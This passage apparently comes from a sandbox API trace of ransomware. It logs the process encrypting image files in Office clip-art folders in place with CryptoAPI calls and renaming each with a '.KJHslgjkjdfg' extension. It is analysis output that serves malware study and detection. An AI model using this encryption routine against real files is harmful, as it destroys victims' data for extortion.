0x2bdd90 [0188.580] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.580] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.580] GetProcessHeap () returned 0x2a0000 [0188.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.580] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.580] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.581] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.583] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.583] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.583] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.583] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.583] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6090, lpOverlapped=0x0) returned 1 [0188.585] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6090, dwBufLen=0x6090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6090) returned 1 [0188.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.585] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6090, lpOverlapped=0x0) returned 1 [0188.585] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.585] SetEndOfFile (hFile=0x114) returned 1 [0188.588] GetProcessHeap () returned 0x2a0000 [0188.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.588] GetProcessHeap () returned 0x2a0000 [0188.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.kjhslgjkjdfg")) returned 1 [0188.590] CloseHandle (hObject=0x114) returned 1 [0188.590] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0188.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.591] GetProcessHeap () returned 0x2a0000 [0188.591] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.591] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.591] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.591] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.591] GetProcessHeap () returned 0x2a0000 [0188.591] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.591] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.591] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.591] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.604] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.604] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.605] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.605] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e90, lpOverlapped=0x0) returned 1 [0188.606] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e90) returned 1 [0188.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.606] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e90, lpOverlapped=0x0) returned 1 [0188.606] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.606] SetEndOfFile (hFile=0x114) returned 1 [0188.609] GetProcessHeap () returned 0x2a0000 [0188.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.609] GetProcessHeap () returned 0x2a0000 [0188.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.kjhslgjkjdfg")) returned 1 [0188.611] CloseHandle (hObject=0x114) returned 1 [0188.611] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0188.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.612] GetProcessHeap () returned 0x2a0000 [0188.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.613] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0188.615] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.615] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.615] GetProcessHeap () returned 0x2a0000 [0188.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.615] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.615] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.615] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.615] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.616] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.616] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.616] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.616] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.616] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.616] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.616] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8795, lpOverlapped=0x0) returned 1 [0188.617] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x87a0, dwBufLen=0x87a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x87a0) returned 1 [0188.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.618] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x87a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x87a0, lpOverlapped=0x0) returned 1 [0188.618] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.618] SetEndOfFile (hFile=0x114) returned 1 [0188.621] GetProcessHeap () returned 0x2a0000 [0188.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.621] GetProcessHeap () returned 0x2a0000 [0188.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.kjhslgjkjdfg")) returned 1 [0188.623] CloseHandle (hObject=0x114) returned 1 [0188.623] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0188.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.624] GetProcessHeap () returned 0x2a0000 [0188.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.625] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.625] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.627] GetProcessHeap () returned 0x2a0000 [0188.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.627] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.627] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.627] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.627] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.628] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.628] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8118, lpOverlapped=0x0) returned 1 [0188.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8120, dwBufLen=0x8120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8120) returned 1 [0188.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.629] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8120, lpOverlapped=0x0) returned 1 [0188.629] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.629] SetEndOfFile (hFile=0x114) returned 1 [0188.632] GetProcessHeap () returned 0x2a0000 [0188.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.632] GetProcessHeap () returned 0x2a0000 [0188.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.kjhslgjkjdfg")) returned 1 [0188.633] CloseHandle (hObject=0x114) returned 1 [0188.634] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0188.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.635] GetProcessHeap () returned 0x2a0000 [0188.635] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.635] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.635] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0188.636] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.636] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.636] GetProcessHeap () returned 0x2a0000 [0188.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.637] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 